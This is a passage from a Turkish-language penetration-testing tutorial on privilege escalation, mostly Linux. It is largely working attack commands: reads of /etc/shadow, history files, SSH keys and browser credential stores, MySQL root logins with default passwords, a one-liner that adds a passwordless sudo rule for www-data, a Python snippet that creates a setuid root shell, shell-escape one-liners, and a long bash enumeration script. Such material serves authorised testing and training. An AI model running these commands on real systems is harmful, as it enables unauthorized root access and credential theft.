type dosyalistesi.txt | findstr /I \.*.\\Content.IE.\\index.dat$
type dosyalistesi.txt | findstr /I \.*.\\inetpub\\logs\\LogFiles
type dosyalistesi.txt | findstr /I \.*.\\httperr\\httpe.*.[.]log$
type dosyalistesi.txt | findstr /I \.*.\\logfiles\\w3svc1\\ex.*.[.]log$
type dosyalistesi.txt | findstr /I \.*.\\Panther\\ | findstr /VI
\.*.Resources\\Themes\\.*.
type dosyalistesi.txt | findstr /I \.*.syspre.*,[.]...$
type dosyalistesi.txt | findstr /I \.*.unatten.*.[.]txt$
type dosyalistesi.txt | findstr /I \.*.unatten.*.[.]xml$
type dosyalistesi.txt | findstr /I \.*Login.Data$
type dosyalistesi.txt | findstr /I \.*Web.Data$
type dosyalistesi.txt | findstr /I \.*Credentials.Store$
type dosyalistesi.txt | findstr /I \.*Credential.Store$
type dosyalistesi.txt | findstr /I \.*Microsoft\\Credentials.*
echo ************************************************************
echo OLASI PASSWORD DEGERLERI
echo ************************************************************
findstr /si "password=" C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul
findstr /si "passwd=" C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul
findstr /si "pass=" C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul
findstr /si "pwd=" C:\*.ini C:\*.xml C:\*.txt C:\*.bat 2> nul
```

III. LINUX / UNIX İŞLETİM SİSTEMİNDE YETKİ YÜKSELTME

Kullanıcı bilgilerimiz ve yetki seviyemiz

Bir linux işletim sistemine adım attığımızda ilk ümidimiz root kullanıcısı olarak erişmiş olmak, bu olmamışsa da güçlü komutları kullanabilme haklarına sahip bir sudo kullanıcısı olmaktır.

Aşağıdaki komutlar ile kullanıcı adımızı, kullanıcı ve grup ID'lerimizi inceleyebiliriz:

```
whoami 2>/dev/null
```

```
id 2>/dev/null
```

"sudo" komutu ile bir komutu çalıştırmak demek o komutu yapılan konfigürasyona göre başka bir kullanıcı olarak ama genellikle root kullanıcısı olarak çalıştırmak demektir.

Normalde /etc/sudoers dosyasını sıradan kullanıcıların okuma hakkı bulunmaz. Ancak şansımızı denemek için önce sudoers dosyası erişim haklarını görmek ve yetkimiz varsa sudo konfigürasyonunu görmek için aşağıdaki komutları kullanabiliriz:

```
ls -al /etc/sudoers 2>/dev/null
```

```
cat /etc/sudoers 2>/dev/null
```

sudoers dosyasını okuyamasak da erişim sağladığımız kullanıcının sudo haklarını aşağıdaki komutla görebiliriz. Ancak genellikle bu komutu çalıştırmak için kullanıcımızın parolasını bilmemiz gerektiğinden bir ağ servisini exploit ederek sisteme erişim sağlamışsak bu komut işimize yaramayabilir.

```
sudo -l -n 2>/dev/null
```

Linux / Unix sistemlerde "root" kullanıcısı olmak demek aslında kullanıcı adımızın "root "olması demek değildir. Kullanıcımızın id'sinin "0" olması demektir. Hem olası diğer root kullanıcılarını görmek, hem diğer daha geniş haklara sahip olabilecek kullanıcıların farkına varmak (bu kullanıcı hesaplarına parola deneme, home dizininden erişim bilgileri bulma, v.b. yöntemlerle erişmemiz söz konusu olabilir) , hem de bu kullanıcıların home dizinlerini görmek için passwd dosyasını incelememizde fayda vardır:

```
cat /etc/passwd 2>/dev/null
```

Kullanıcı id'lerini tanımak faydalı olacağı gibi grup'ları tanımakta ve mevcut kullanıcımızın üyesi olduğu grupları incelemekte de fayda vardır. Örneğin kullanıcımız sudo grubu üyesi ise pek çok Linux işletim sisteminde bu gruba sudo hakkı verildiği için (parolamızı bilmemiz gerekebilir) sudo komutları çalıştırabiliriz. (örnek sudoers konfigürasyon satırı: "%sudo ALL=(ALL:ALL) ALL").

```
cat /etc/group 2>/dev/null
```

Sistem üzerinde bulunabilecek yetki yükseltme açıklıkları yama eksikliklerinin tespiti

Adım attığınız Linux sunucu üzerindeki yetki yükseltme açıklıklarını araştırmadan önce sunucunun kernel versiyonunu, işlemci mimarisini ve linux dağıtımını bilmek isteyeceksiniz. Bu bilgileri öğrenmek için aşağıdaki komutları kullanabiliriz:

```
uname -a 2>/dev/null

cat /proc/version 2>/dev/null

lscpu 2>/dev/null

cat /etc/*-release
```

Kernel açıklıkları dışında bazı uygulamalar s bit'li olduklarından (bu konu aşağıda açıklanacaktır) bazıları ise root hakları ile çalıştığında sahip oldukları açıklıklar yetki yükseltme imkanı vermektedir. Bu uygulamalara ve versiyon tespit komutlarına aşağıdakiler örnek verilebilir:

```
sudo -V | grep version 2>/dev/null

mysql --version 2>/dev/null
```

Sistem servisleri, zamanlı işler ve yüksek yetkili uygulama dosyalarının incelenmesi

Linux / Unix sunucular üzerinde çalışan cron job'ları bir anlamda Windows'daki servis'lere benzetebiliriz, ancak tam karşılıkları zamanlı işler olacaktır. Bu zamanlı işler ile çalıştırılan uygulama ve script'ler üzerinde bir yazma hakkımız varsa ve bu işler root gibi yüksek yetkili bir kullanıcı adına çalıştırılıyorsa bu yolla yetki yükseltmeyi sağlayabiliriz. Bu nedenle cron job'ların incelenmesi linux enumeration çalışmalarımız içinde önemli yere sahiptir.

Cron job'ların incelenmesi

"other" tarafından yazılabilir cron scriptleri ve içerikleri

```
find /etc/cron* -perm -0002 -exec ls -la {} \; -exec cat {} 2>/dev/null \;
```

/etc/crontab dosyası içeriği

```
cat /etc/crontab 2>/dev/null
```

Varsa root ve diğer kullanıcıların crontab dosyaları listesi

```
ls -laR /var/spool/cron 2>/dev/null
```

Varsa root ve diğer kullanıcıların crontab dosyaları içerikleri

```
find /var/spool/cron/ -type f -exec tail -n +1 {} + 2>/dev/null
```

Varsa /etc/cron.d dizininde bulunan dosyaların listesi

```
ls -laR /etc/cron.d 2>/dev/null
```

Varsa /etc/cron.d dizininde bulunan dosyaların içerikleri

```
find /etc/cron.d/ -type f -exec tail -n +1 {} + 2>/dev/null
```

/etc/anacrontab dosyası içeriği

```
cat /etc/anacrontab 2>/dev/null
```

Setuid dosyaların incelenmesi

Linux / Unix'e özel bir özellik de bazı uygulamaların sahibi olan kullanıcı veya grup hakları ile çalışabilmesidir. Bu yetki owner veya grup alanlarında çalıştırma hakkını ifade eden "x" yerine Setuid ve Setgid anlamına gelen "s" karakteri ile belirtilir.

Eğer bu uygulamalarda bir açıklık varsa veya bu uygulamalara / script'lere yazma hakkımız varsa bu dosyalar yetki yükseltme amacıyla kullanılabilir.

Bu potansiyele sahip dosyaların tespiti için şu komutları kullanabiliriz:

Sahibi "root" olan other tarafından yazılabilir "setuid" dosyalar

```
find / -uid 0 -perm -4002 -type f -exec ls -al {} \; 2>/dev/null
```

"other" tarafından yazılabilir tüm "setuid" dosyalar

```
find / -perm -4002 -type f -exec ls -al {} \; 2>/dev/null
```

Tüm "setuid" dosyalar

```
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null | tee setuid-files-enum.txt
```

"root" hakları ile çalışan bir cron script'ine veya setuid bit'i işaretli bir script'e müdahale edebiliyorsak aşağıdaki satırları içine yerleştirebiliriz:

```
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /script.sh
```

Değişiklik yaptığımız script çalışıp da sudoers dosyasında yukarıda görülen değişikliği yaptıktan sonra şu komutu çalıştırarak root hakları ile shell alabiliriz:

```
sudo /bin/bash
```

Aşağıda bir Python script'i ile "s" bit'i işaretli bir shell oluşturma yöntemini görebilirsiniz:

```
#!/usr/bin/env python
import os
import sys
try:

      os.system('cp /bin/sh /tmp/sh && chmod 4777 /tmp/sh && /tmp/sh')

except:
      sys.exit()
```

Çeşitli diller ve araçlar (bash, perl, python, php, java, netcat) kullanılarak reverse shell alma imkanı sağlayabileceğimiz diğer yöntemler için aşağıdaki link'ten faydalanabiliriz:

```
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
```

Shell escape imkanı veren uygulamaların incelenmesi

Bazı uygulamaların içinden komut satırı komutları çalıştırmak veya bir shell almak mümkündür. Eğer bu uygulamaları sudo ile çalıştırabilirsek (sudo haklarının incelenmesine daha önce değinmiştik) veya bu uygulamaların "s" bit'leri işaretli ise, bu uygulamaların içinden root hakları ile shell başlatabiliriz.

Bu tür uygulamaları tespit etmek için aşağıdaki komutu çalıştırabiliriz (setuid-files-enum.txt dosyası yukarıdaki tüm "s" bitli dosyaları belirleyen komut neticesinde oluşmuş olmalıdır)

```
cat setuid-files-enum.txt 2>/dev/null | grep -i -E
'vi|awk|perl|find|nmap|man|more|less|tcpdump|bash|sh$|vim|nc$|netcat|python|r
uby|lua|irb' | grep -v -E 'chsh|device'
```

Shell escape imkanı veren komut örnekleri:

```
vi, vim
:!bash

vi, vim
:set shell=/bin/bash
:shell

man, more, less
!bash

find
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;

awk
awk 'BEGIN {system("/bin/bash")}'

nmap
--interactive

nmap
echo "os.execute('/bin/sh')" > exploit.nse
sudo nmap --script=exploit.nse

perl
perl -e 'exec "/bin/bash";'
```

Kurulu paketler ve versiyonlarının incelenmesi

```
dpkg -l 2>/dev/null [debian ve türevleri için]

rpm -qa 2>/dev/null [redhat ve türevleri için]
```

Sistem üzerinde çalışan proses'lerin, ağ servislerinin incelenmesi

Windows işletim sisteminde de olduğu gibi uzaktan erişemesek de loopback arayüzünden erişilebilen TCP ve UDP ağ servislerini incelemek için aşağıdaki komutları kullanabiliriz (elbette yetki yükseltebilmek için açıklık barındıran bir servisin root hakları ile çalışması gerekir):

```
netstat -antp
```

```
netstat -anup
```

“p” opsiyonu root hakkına sahipsek servisin arkasındaki proses id’si ve adını gösterecektir, dolayısıyla sıradan bir kullanıcıysak aslında bir işe yaramayacak.

Sistem üzerinde çalışan proses’ler (eğer root haklarına sahipse ve) açıklık barındırıyorsa yetki yükseltme amacıyla kullanılabilir. Bu incelemeyi yapmak için aşağıdaki komutu kullanabiliriz:

root kullanıcısı olarak calışan prosesler

```
ps aux | grep root
```

Çalışan proseslerin imajları ve bunlara erişim hakları

```
ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'
```

Erişim bilgileri v.d. hassas bilgi barındırabilecek veritabanı ve dosyaların incelenmesi, sistem genelinde konfigürasyon açıklıklarının araştırılması

Parola hash’leri

Linux / Unix sistemlerde parola hash değerleri genellikle /etc/shadow dosyasında tutulur ve root kullanıcısı dışında hiçbir kullanıcının okuma hakkı yoktur. Ancak yine de şansımızı denemekte veya bu dosyanın yedeklerini disk üzerinde bir yedeği varsa aramakta fayda vardır.

Shadow dosyası veya yedeklerine erişmeye çalışmak

```
cat /etc/shadow 2>/dev/null
```

Home dizinleri ve içerikleri

“root” ve diğer kullanıcıların “home” dizinleri barındırdıkları script’ler ve history dosyaları gibi dosyalar açısından bizim için çok önemlidir. Bu nedenle home dizinleri içinde erişim hakkımız olan tüm kullanıcı home dizinlerinin içlerini incelemek gereklidir.

/root/ dizini altındaki dosyalar ve erişim hakları

```
ls -ahlR /root/ 2>/dev/null
```

/home/ dizini altındaki dosyalar ve erişim hakları

```
ls -ahlR /home/ 2>/dev/null
```

Eğer home dizinleri /usr/ dizini altında ise buradaki dosyalar ve erişim hakları

```
ls -ahlR /usr/home/ 2>/dev/null
```

/home/ dizini altındaki okunabilir dosyaların listesi

```
find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null
```

History dosyaları erişim hakları ve içerikleri

```
ls -la /home/*/.*_history 2>/dev/null
```

```
ls -la /root/.*_history 2>/dev/null

cat ~/.*_history 2>/dev/null

cat /root/.*_history 2>/dev/null

cat /home/*/.*_history 2>/dev/null
```

SSH anahtar ve anahtar dizinlerinin listesi

```
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name
"authorized_hosts" -o -name "authorized_keys" 2>/dev/null
```

Mail içerikleri

İçlerinde parola v.b. hassas bilgiler barındırabilecekleri düşüncesiyle varsa sistem üzerindeki posta kutularının incelenmesinde fayda vardır.

```
cat /var/mail/root 2>/dev/null

cat /var/spool/mail/root 2>/dev/null
```

Mysql erişimi

MySQL ve diğer veritabanları file system ve işletim sistemi üzerinde bize yardımcı olabilecek güçlü fonksiyonlara sahip olduklarından bu servislere erişim imkanlarımız değerlendirilmelidir. Tabi root hakları ile işlem yapabilmemiz için MySQL veritabanı proses'inin de root kullanıcı hakları ile çalışması ön koşulu bulunmaktadır.

Mysql servisi varsa root olarak boş parola ile erişmeye çalışma (mysql root'u ile sistem root'u farklıdır)

```
mysqladmin -uroot -proot version

mysqladmin -uroot version
```

Mysql erişim bilgilerini içerebilecek konfigürasyon dosya içeriğinin incelenmesi

```
cat /etc/mysql/my.cnf 2>/dev/null

cat /etc/my.cnf 2>/dev/null
```

Web uygulama dizin içerikleri

Web uygulama dizinlerinde bulunabilecek konfigürasyon dosyaları ve kodlar için de yer alabilecek hassas veriler ve erişim bilgileri için bu dosyaların gözden geçirilmesinde fayda vardır.

Web uygulama dizinleri ve dosyaların listesi - ekleme yapılabilir

```
ls -alhR /var/www/ 2>/dev/null

ls -alhR /srv/www/htdocs/ 2>/dev/null

ls -alhR /usr/local/www/apache22/data/ 2>/dev/null

ls -alhR /opt/lampp/htdocs/ 2>/dev/null
```

Dosya adı ve içerik araştırma

Son olarak hassas veri barındırabileceğini düşündüğümüz dosya isimlerini aramak ve parola v.b. bilgileri barındırabilecek dosyaları tespit etmek için aşağıdaki komutları kullanabiliriz (özellikle dosyalar içinde kelime aramanın çok uzun zaman alabileceğini hatırlayınız):

İlginç olabilecek dosyaların listelenmesi (aşağıdaki komutlara yenileri eklenebilir)

```
find / > dirlist-enum.txt 2>/dev/null

grep -i -E 'ini$' dirlist-enum.txt > ini-files-enum.txt

grep -i -E 'conf$|config$|cnf$' dirlist-enum.txt > conf-files-enum.txt

grep -i -E 'backup$|bck$|bak$|\.old.*$' dirlist-enum.txt > backup-files-
enum.txt
```

Dosya içeriklerinde ilginç veriler aranması (aşağıdaki komutlara yenileri eklenebilir)

ini dosyaları içinde geçen password ve username satırları

```
cat ini-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_db'
2>/dev/null
```

conf dosyaları içinde geçen password ve username satırları

```
cat conf-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_db'
2>/dev/null
```

LINUX / UNIX ENUMERATION SCRIPT'İ

ÖNEMLİ NOT: Bu makalede yer alan script'leri çalıştırmanızdan kaynaklanabilecek risklerle ilgili sorumluluk size aittir. Çalıştırmadan önce script'leri okumalı ve tam olarak anlamalısınız. Zaten script'ler size hazır biçimde açıklıkları listelemeyecek, sizin incelemeniz gereken sonuçları üretecektir.

Sisteme eriştiğimiz kullanıcıların yetkileri script'lerdeki tüm komutları çalıştırmaya yetmeyebilir. Bu durumlarda oluşturulacak hata mesajlarının çıktılarımızı kirletmemesi için "standard error redirection" yönetmini kullanıyoruz (2>/dev/null). Bu yöntem sayesinde hata mesajları "standard output"a yazılmıyor.

```
#!/bin/bash
# linuxenum-btr.sh > privesc-enum.txt seklinde kullanalim
# SCRIPTI /var/tmp DIZINI ALTINDA CALISTIRALIM
# EGER SCRIPTI KULLANICINIZIN HOME DIZINI ALTINDA CALISTIRIRSANIZ KENDINIZE
DOS YAPMIS OLURSUNUZ CUNKU SCRIPT HOME DIZINLERININ ICINDEKI DOSYALARI DA
YAZDIGI ICIN KENDI YAZDIKLARINI TEKRAR OKUYUP TEKRAR YAZAR VE DISKI
DOLDURURSUNUZ
printf '\n=============================================================='
printf '\nTEMEL BILGILER'
printf '\n=============================================================='
printf '\n**************************************************\n'
printf 'KULLANICI ADI - whoami'
printf '\n**************************************************\n'
whoami 2>/dev/null
printf '\n**************************************************\n'
printf 'KULLANICI ID SI VE GRUPLARI - id'
printf '\n**************************************************\n'
id 2>/dev/null
printf '\n**************************************************\n'
printf 'HOME DIZINIMIZ - echo $HOME'
printf '\n**************************************************\n'
echo $HOME 2>/dev/null
printf '\n**************************************************\n'
printf 'HOME DIZIN ICERIGIMIZ VE ERISIM HAKLARI - ls -ahl ~'
printf '\n**************************************************\n'
ls -ahl ~ 2>/dev/null
printf '\n**************************************************\n'
printf 'SUDO HAKLARIMIZ - sudo -l -n shell escape imkani verebilecek
komutlara ozellikle dikkat'
printf '\nCikti içinde !env_reset komutu varsa ve sudo versiyonu uygunsa
cevresel degiskenler vasitasiyla priv esc yapilabilir'
printf '\nsudo privilege escalation metodları:
https://www.securusglobal.com/community/2014/03/17/how-i-got-root-with-sudo/'
printf '\nsudo -l -n komutu ile parola vermeden sudo haklarimizi listelemeye
calisiyoruz'
printf '\nEger sudo -l komutu icin parola verilmesi gerekiyorsa ve biz
baglantimizi parolasini bildigimiz bir kullanici ile gerceklestirmis isek bu
komutu manuel olarak calistirmayi unutmayalim'
printf '\n**************************************************\n'
sudo -l -n 2>/dev/null | tee sudo-config-enum.txt
printf '\n**************************************************\n'
printf 'SHELL ESCAPE IMKANI VEREN SUDO HAKLARIMIZ - grep komutu ilgisiz
satirlari da yakalayabiliyor o yuzden scripti okuyunuz - tcpdump makalesi
https://www.stevencampbell.info/2016/04/why-sudo-tcpdump-is-dangerous/'
printf '\n**************************************************\n'
```

```
cat sudo-config-enum.txt 2>/dev/null | grep -i -E
'vi|awk|perl|find|nmap|man|more|less|tcpdump|bash|sh|vim|nc|netcat|python|rub
y|lua|irb'
printf '\n*******************************************************\n'
printf 'SUDO VERSIYONU - sudo -V: sudo - sudoedit ile ilgili acikliklari
kullanabiliriz 1.8.14 versiyonu icin bakiniz https://www.exploit-
db.com/exploits/37710/ 1.6.9p21 / 1.7.2p4 için bakiniz https://www.exploit-
db.com/exploits/11651/ digerleri icin mutlaka google dan arama yapiniz'
printf '\n*******************************************************\n'
sudo -V
printf '\n*******************************************************\n'
printf 'REDHAT ICIN SUDO PAKETI VERSIYONU'
printf '\n*******************************************************\n'
rpm -q sudo 2>/dev/null
printf '\n*******************************************************\n'
printf 'SUDOERS DOSYASI ERISIM HAKLARI'
printf '\n*******************************************************\n'
ls -al /etc/sudoers 2>/dev/null
printf '\n*******************************************************\n'
printf 'SUDOERS DOSYASI ICERIGI- GOREBILIYORSAK - cat /etc/sudoers'
printf '\n*******************************************************\n'
cat /etc/sudoers 2>/dev/null
printf '\n*******************************************************\n'
printf 'SISTEM BILGISI - uname -a'
printf '\n*******************************************************\n'
uname -a 2>/dev/null
printf '\n*******************************************************\n'
printf 'KERNEL BILGISI - cat /proc/version'
printf '\n*******************************************************\n'
cat /proc/version 2>/dev/null
printf '\n*******************************************************\n'
printf 'ISLEMCI MIMARI BILGISI - lscpu'
printf '\n*******************************************************\n'
lscpu 2>/dev/null
printf '\n*******************************************************\n'
printf 'ISLETIM SISTEMI BILGISI'
printf '\n*******************************************************\n'
cat /etc/*-release
printf '\n*******************************************************\n'
printf 'SUNUCU ADI - hostname'
printf '\n*******************************************************\n'
hostname 2>/dev/null
printf '\n*******************************************************\n'
printf 'ROOT - YANI ID SI 0 OLAN - KULLANICILARIN LISTESI'
printf '\n*******************************************************\n'
grep -v -E '^#' /etc/passwd | awk -F: '$3 == 0{print $1}'
printf '\n*******************************************************\n'
printf 'SUDO GRUBUNA UYE KULLANICILAR'
printf '\n*******************************************************\n'
for i in $(cat /etc/passwd 2>/dev/null| cut -d':' -f1 2>/dev/null);do id
$i;done 2>/dev/null | grep -i "sudo"
printf '\n*******************************************************\n'
printf 'PASSWD DOSYASI - cat /etc/passwd'
printf '\n*******************************************************\n'
cat /etc/passwd 2>/dev/null
printf '\n*******************************************************\n'
printf 'FREEBSD ICIN PASSWD DOSYASI - cat /etc/master.passwd'
printf '\n*******************************************************\n'
cat /etc/master.passwd 2>/dev/null
printf '\n*******************************************************\n'
printf 'KULLANICILARIN GRUP UYELIKLERI - groups bolumune bakiniz'
```

```
printf '\n*********************************************************\n'
for i in $(cat /etc/passwd 2>/dev/null| cut -d':' -f1 2>/dev/null);do id
$i;done 2>/dev/null
printf '\n*********************************************************\n'
printf 'KULLANICI LISTESI - SHELL UYGULAMASINA GORE SIRALI - cat /etc/passwd
| awk -F: {print $7\011$1} | sort'
printf '\n*********************************************************\n'
cat /etc/passwd | awk -F':' '{print $7"\011"$1}' | sort
printf '\n*********************************************************\n'
printf 'KULLANICI LISTESI - HOME DIZININE GORE SIRALI - cat /etc/passwd | awk
-F: {print $6\011$1} | sort'
printf '\n*********************************************************\n'
cat /etc/passwd | awk -F':' '{print $6"\011"$1}' | sort
printf '\n*********************************************************\n'
printf 'DAHA ONCE LOGON OLMUS KULLANICILAR - HER ZAMAN SAGLIKLI BILGI
VERMEYEBILIR - lastlog | grep -v Never'
printf '\n*********************************************************\n'
lastlog | grep -v "Never" 2>/dev/null
printf '\n*********************************************************\n'
printf 'SON KULLANICI AKTIVITELERI - last'
printf '\n*********************************************************\n'
last 2>/dev/null
printf '\n*********************************************************\n'
printf 'GROUP DOSYASI - cat /etc/group - ozellikle sudo grup uyeliklerine
dikkat edelim'
printf '\n*********************************************************\n'
cat /etc/group 2>/dev/null
printf '\n*********************************************************\n'
printf 'SHADOW DOSYASI - GOREBILIYORSAK - cat /etc/shadow'
printf '\n*********************************************************\n'
cat /etc/shadow 2>/dev/null
printf '\n*********************************************************\n'
printf '/ROOT/ DIZINI ALTINDAKI DOSYALAR VE ERISIM HAKLARI - ls -ahlR /root/'
printf '\n*********************************************************\n'
ls -ahlR /root/ 2>/dev/null
printf '\n*********************************************************\n'
printf '/HOME/ DIZINI ALTINDAKI DOSYALAR VE ERISIM HAKLARI - ls -ahlR /home/'
printf '\n*********************************************************\n'
ls -ahlR /home/ 2>/dev/null
printf '\n*********************************************************\n'
printf 'EGER HOME DIZINLERI /USR/ DIZINI ALTINDA ISE BURADAKI DOSYALAR VE
ERISIM HAKLARI - ls -ahlR /usr/home/'
printf '\n*********************************************************\n'
ls -ahlR /usr/home/ 2>/dev/null
printf '\n*********************************************************\n'
printf '/HOME/ DIZINI ALTINDAKI OKUNABILIR DOSYALARIN LISTESI - find /home/ -
perm -4 -type f -exec ls -al {} \;'
printf '\nNOT: Bu komut manuel inceleme sirasında da hedef dizin adi
degistirilerek kullanilabilir'
printf '\n*********************************************************\n'
find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null
printf '\n*********************************************************\n'
printf 'BAZI HASSAS DOSYALARIN ERISIM HAKLARI - EKLEME YAPILABILIR'
printf '\nNOT: History dosyalari v.d. dosyalar icinde okuma hakkimiz
olanlarin icine manuel olarak goz atilmalidir'
printf '\n*********************************************************\n'
ls -la /etc/passwd 2>/dev/null
ls -la /etc/group 2>/dev/null
ls -la /etc/profile 2>/dev/null
ls -la /etc/shadow 2>/dev/null
ls -la /etc/master.passwd 2>/dev/null
```

```
ls -la /etc/sudoers 2>/dev/null
ls -la /etc/crontab 2>/dev/null
ls -la ~/.*_history 2>/dev/null
ls -la /home/*/.*_history 2>/dev/null
ls -la /root/.*_history 2>/dev/null
printf '\n*********************************************************\n'
printf 'KULLANICIMIZIN HISTORY DOSYALARI ICERIKLERI'
printf '\n*********************************************************\n'
cat ~/.*_history 2>/dev/null
printf '\n*********************************************************\n'
printf 'KULLANICIMIZIN HISTORY BILGISI - history KOMUTU CIKTISI'
printf '\n*********************************************************\n'
history 2>/dev/null
printf '\n*********************************************************\n'
printf 'OKUYABILIYORSAK ROOT UN HISTORY DOSYALARI ICERIKLERI'
printf '\n*********************************************************\n'
cat /root/.*_history 2>/dev/null
printf '\n*********************************************************\n'
printf 'OKUYABILDIGIMIZ KULLANICI HISTORY DOSYALARI ICERIKLERI'
printf '\n*********************************************************\n'
cat /home/*/.*_history 2>/dev/null
printf '\n*********************************************************\n'
printf 'TCP SERVISLERIN VE ILGILI PROSESLERIN LISTESI - netstat -antp'
printf '\n*********************************************************\n'
netstat -antp
printf '\n*********************************************************\n'
printf 'UDP SERVISLERIN VE ILGILI PROSESLERIN LISTESI - netstat -anup'
printf '\n*********************************************************\n'
netstat -anup
printf '\n*********************************************************\n'
printf 'ROOT KULLANICISI OLARAK CALISAN PROSESLER'
printf '\n*********************************************************\n'
ps aux | grep root
printf '\n*********************************************************\n'
printf 'TUM PROSESLERIN LISTESI - ps aux - ozellikle MySQL ve Apache
prosesleri uzerinden islem yapmak istersek bu proseslerin hangi kullanici
haklari ile calistigina dikkat edelim. Bunun disinda calisan prosesler bize
baska fikirler verebilir.'
printf '\n*********************************************************\n'
ps aux
printf '\n*********************************************************\n'
printf 'CALISAN PROSESLERIN IMAJLARI VE BUNLARA ERISIM HAKLARI - ps aux | awk
{print $11}|xargs -r ls -la 2>/dev/null |awk !x[$0]++'
printf '\n*********************************************************\n'
ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'
printf '\n*********************************************************\n'
printf 'ENVIRONMENT VARIABLE DEGERLERI'
printf '\n*********************************************************\n'
printenv

printf '\n=========================================================='
printf '\nPRATIK YETKI YUKSELTME ALANLARI'
printf '\n=========================================================='
printf '\n*********************************************************\n'
printf 'SAHIBI ROOT OLAN OTHER TARAFINDAN YAZILABILIR SETUID DOSYALAR - find
/ -uid 0 -perm -4002 -type f -exec ls -al {} \;'
printf '\n*********************************************************\n'
find / -uid 0 -perm -4002 -type f -exec ls -al {} \; 2>/dev/null
printf '\n*********************************************************\n'
printf 'OTHER TARAFINDAN YAZILABILIR TUM SETUID DOSYALAR - find / -perm -4002
-type f -exec ls -al {} \;'
```

```
printf '\n*********************************************************\n'
find / -perm -4002 -type f -exec ls -al {} \; 2>/dev/null
printf '\n*********************************************************\n'
printf 'TUM SETUID DOSYALAR - find / -perm -4000 -type f -exec ls -al {} \;
Bu dosyalar arasinda grubumuzun yazma hakki olanlara da dikkat edelim, cunku
bu durum icin ozel bir sorgumuz yok'
printf '\n*********************************************************\n'
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null | tee setuid-files-
enum.txt
printf '\n*********************************************************\n'
printf 'SHELL ESCAPE IMKANI VEREN SETUID DOSYALAR - False positive satirlari
elle incelemek gereklidir, aradigimiz uygulama isimleri icin scripti
okuyunuz'
printf '\n*********************************************************\n'
cat setuid-files-enum.txt 2>/dev/null | grep -i -E
'vi|awk|perl|find|nmap|man|more|less|tcpdump|bash|sh$|vim|nc$|netcat|python|r
uby|lua|irb' | grep -v -E 'chsh|device'
printf '\n*********************************************************\n'
printf 'SAHIBI ROOT OLAN OTHER TARAFINDAN YAZILABILIR SETGID DOSYALAR - find
/ -uid 0 -perm -2002 -type f -exec ls -al {} \;'
printf '\n*********************************************************\n'
find / -uid 0 -perm -2002 -type f -exec ls -al {} \; 2>/dev/null
printf '\n*********************************************************\n'
printf 'OTHER TARAFINDAN YAZILABILIR TUM SETGID DOSYALAR - find / -perm -2002
-type f'
printf '\n*********************************************************\n'
find / -perm -2002 -type f -exec ls -al {} \; 2>/dev/null
printf '\n*********************************************************\n'
printf 'SETGID ISARETLI TUM DOSYALAR - find / -perm -2000 -type f -exec ls -
al {} \;'
printf '\n*********************************************************\n'
find / -perm -2000 -type f -exec ls -al {} \; 2>/dev/null
printf '\n*********************************************************\n'
printf '/ETC/CRON DIZINLERINDE BULUNAN DOSYALAR VE ERISIM HAKLARI - ls -la
/etc/cron*'
printf '\n*********************************************************\n'
ls -la /etc/cron* 2>/dev/null
printf '\n*********************************************************\n'
printf 'OTHER TARAFINDAN YAZILABILIR CRON SCRIPTLERI VE ICERIKLERI - find
/etc/cron* -perm -0002 -exec ls -la {} \; -exec cat {} 2>/dev/null \;'
printf '\n*********************************************************\n'
find /etc/cron* -perm -0002 -exec ls -la {} \; -exec cat {} 2>/dev/null \;
printf '\n*********************************************************\n'
printf '/ETC/CRONTAB DOSYASI ICERIGI - cat /etc/crontab'
printf '\n*********************************************************\n'
cat /etc/crontab 2>/dev/null
printf '\n*********************************************************\n'
printf 'VARSA ROOT VE DIGER KULLANICILARIN CRONTAB DOSYALARI LISTESI - ls -
laR /var/spool/cron'
printf '\n*********************************************************\n'
ls -laR /var/spool/cron 2>/dev/null
printf '\n*********************************************************\n'
printf 'VARSA ROOT VE DIGER KULLANICILARIN CRONTAB DOSYALARI ICERIKLERI'
printf '\n*********************************************************\n'
find /var/spool/cron/ -type f -exec tail -n +1 {} + 2>/dev/null
printf '\n*********************************************************\n'
printf 'VARSA /etc/cron.d DIZININDE BULUNAN DOSYALARIN LISTESI - ls -laR
/etc/cron.d'
printf '\n*********************************************************\n'
ls -laR /etc/cron.d 2>/dev/null
printf '\n*********************************************************\n'
```

```
printf 'VARSA /etc/cron.d DIZININDE BULUNAN DOSYALARIN ICERIKLERI'
printf '\n**********************************************************\n'
find /etc/cron.d/ -type f -exec tail -n +1 {} + 2>/dev/null
printf '\n**********************************************************\n'
printf '/ETC/ANACRONTAB DOSYASI ICERIGI - cat /etc/anacrontab'
printf '\n**********************************************************\n'
cat /etc/anacrontab 2>/dev/null
printf '\n**********************************************************\n'
printf 'VARSA KULLANICILARIN AKTIF CRON KONFIGURASYONLARI - cat /etc/passwd |
cut -d : -f 1 | xargs -n1 crontab -l -u'
printf '\n**********************************************************\n'
cat /etc/passwd | cut -d ":" -f 1 | xargs -n1 crontab -l -u 2>/dev/null
printf '\n**********************************************************\n'
printf 'MYSQL E ROOT - ROOT ERISIM BILGILERIYLE ERISEBILIYOR MUYUZ -
mysqladmin -uroot -proot version'
printf '\n**********************************************************\n'
mysqladmin -uroot -proot version
printf '\n**********************************************************\n'
printf 'MYSQL E BOS PAROLA ILE ROOT OLARAK ERISEBILIYOR MUYUZ - mysqladmin -
uroot version'
printf '\n**********************************************************\n'
mysqladmin -uroot version
printf '\n**********************************************************\n'
